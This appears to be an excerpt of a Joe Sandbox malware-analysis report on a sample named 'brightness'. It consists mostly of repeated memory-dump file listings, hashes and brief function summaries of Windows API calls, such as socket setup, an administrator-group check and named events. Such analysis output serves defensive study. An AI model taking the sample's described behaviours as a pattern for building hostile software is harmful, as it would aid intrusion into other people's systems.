Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: LocalProcess32$AllocCloseCreateFirstFreeHandleNextSnapshotToolhelp32_memset_wcsrchrconstruct
String ID:
API String ID: 1044316289-0
Opcode ID: baf6b3b2800091a5204080ef8c600b6e5f0ceb488cd0d8133f77fd4a42e0a378
Instruction ID: 52feeb5f579dbc718de9ba5eda969954d69c6796ef0b9b0a59e2edf5fe05276e
Opcode Fuzzy Hash: baf6b3b2800091a5204080ef8c600b6e5f0ceb488cd0d8133f77fd4a42e0a378
Instruction Fuzzy Hash: 19813AB1924218DBDB15DFA4CC88FEEB778AF58300F10469DE116B7290DB749A98CF64

Function 002D0500 Relevance: 12.4, APIs: 6, Strings: 2, Instructions: 409memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000FA0), ref: 002D0607
LocalFree.KERNEL32(00000000), ref: 002D0C5A
LocalFree.KERNEL32(00000000), ref: 002D0C70

Strings

@, xrefs: 002D0641
_DllMain@12, xrefs: 002D0570

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc
String ID: @$_DllMain@12
API String ID: 3098330729-1064695914
Opcode ID: 1029f0580adf0a40656b6e1939551d56fc3fa2e91bcb604b527ae49ed147f909
Instruction ID: 2f3eb38698ce897f2cb003975711897aa412bedb2741f91b8a8026032876323c
Opcode Fuzzy Hash: 1029f0580adf0a40656b6e1939551d56fc3fa2e91bcb604b527ae49ed147f909
Instruction Fuzzy Hash: C7229C74A15228CBDB25CF18C994BE9B7B1BF89309F1081DAD509AB351DB71AED1CF80

Function 002D69A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 154networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002D6A7A
__snwprintf.LIBCMT ref: 002D6A9F
LocalFree.KERNEL32(00000000), ref: 002D6AD9
WSAStartup.WS2_32(00000002,?), ref: 002D6B73
WSACleanup.WS2_32 ref: 002D6BCA

Strings

"%s%s", xrefs: 002D6A8E
{5EED0EA3-A73E-442A-9D20-84320F1AFCBA}, xrefs: 002D6ABE

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CleanupFreeLocalStartup__snwprintf_memset
String ID: "%s%s"${5EED0EA3-A73E-442A-9D20-84320F1AFCBA}
API String ID: 2113284613-1931007831
Opcode ID: dea188a4b0687a75fc989f0dcd9e8bc50210afff8ed237a1e1a4a2ed995b0ed6
Instruction ID: ebb7ccb97b683537dac1a4779a946e2d2fa965667c9ef588d1ec535decee954c
Opcode Fuzzy Hash: dea188a4b0687a75fc989f0dcd9e8bc50210afff8ed237a1e1a4a2ed995b0ed6
Instruction Fuzzy Hash: 8E51C470AB0314AEF722AF60DCCBF963268A705B09F10545AF2447A2D0EAF56DA4CF15

Function 002E26F0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000280), ref: 002E2700

Part of subcall function 002DC3A0: AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 002DC3DB
Part of subcall function 002DC3A0: CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 002DC3F4
Part of subcall function 002DC3A0: FreeSid.ADVAPI32(?), ref: 002DC409

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 002E2754
LocalFree.KERNEL32(00000020), ref: 002E2762
LocalFree.KERNEL32(00000020), ref: 002E2796

Strings

%s [%d], xrefs: 002E27ED

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocAllocateCheckFileInitializeMembershipModuleNameToken
String ID: %s [%d]
API String ID: 64669768-2053052012
Opcode ID: f7322e1af2feb4959891740061b5023e60ead21ab0653dfcde7962a1e2abba3c
Instruction ID: 305ad59cd640d1f5420b75f036c6ed4c3356ec8f07c2f35310432dbe4821d193
Opcode Fuzzy Hash: f7322e1af2feb4959891740061b5023e60ead21ab0653dfcde7962a1e2abba3c
Instruction Fuzzy Hash: 0D3190B4D50208EFD710DFA4DC89BAEB7B8EF48304F5085E8E506A7251DA749A94CF50

Function 002CE020 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002CE08F
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 002CE0CA
SetEvent.KERNEL32(00000000), ref: 002CE0DD
CloseHandle.KERNEL32(00000000), ref: 002CE0E7
shutdown.WS2_32(?,00000002), ref: 002CE0F3
closesocket.WS2_32(?), ref: 002CE0FD

Part of subcall function 002CB6D0: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 002CB701
Part of subcall function 002CB6D0: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CB724
Part of subcall function 002CB6D0: __snwprintf.LIBCMT ref: 002CB74E
Part of subcall function 002CB6D0: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 002CB773
Part of subcall function 002CB6D0: GetLastError.KERNEL32 ref: 002CB77C
Part of subcall function 002CB6D0: LocalFree.KERNEL32(00000000), ref: 002CB7FC
Part of subcall function 002CB6D0: LocalFree.KERNEL32(00000000), ref: 002CB806

Strings

{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 002CE0BE

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$CreateEventFree$AllocCloseDirectoryErrorFileHandleLastOpen__snwprintfclosesocketsetsockoptshutdown
String ID: {D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 565480421-750218306
Opcode ID: 8668d605444525b5f424a3e5402eb48e3166fcb55203569a9686543c12d944a3
Instruction ID: 13496004133e2ebf8413fdfa7f4a601f5f9c667699aa441b4bfb1d6176188960
Opcode Fuzzy Hash: 8668d605444525b5f424a3e5402eb48e3166fcb55203569a9686543c12d944a3
Instruction Fuzzy Hash: 11311C71E10218AFDB24DFA4D889FADBBB8FB48301F20462CF510A7291E7B59944CF51

Function 002C4320 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 002C4331
OpenEventW.KERNEL32(00000002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 002C4383
SetEvent.KERNEL32(00000000), ref: 002C4396
CloseHandle.KERNEL32(00000000), ref: 002C43A0
SetEvent.KERNEL32(00000000), ref: 002C43D8
ResetEvent.KERNEL32(00000000), ref: 002C43FB

Strings

{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 002C437A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Event$CloseHandleObjectOpenResetSingleWait
String ID: {D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 1560999653-750218306
Opcode ID: 1265e13dfb04aeb2909f3a4e3080e814af70f2347d7c98d848a8d48ec97a61c5
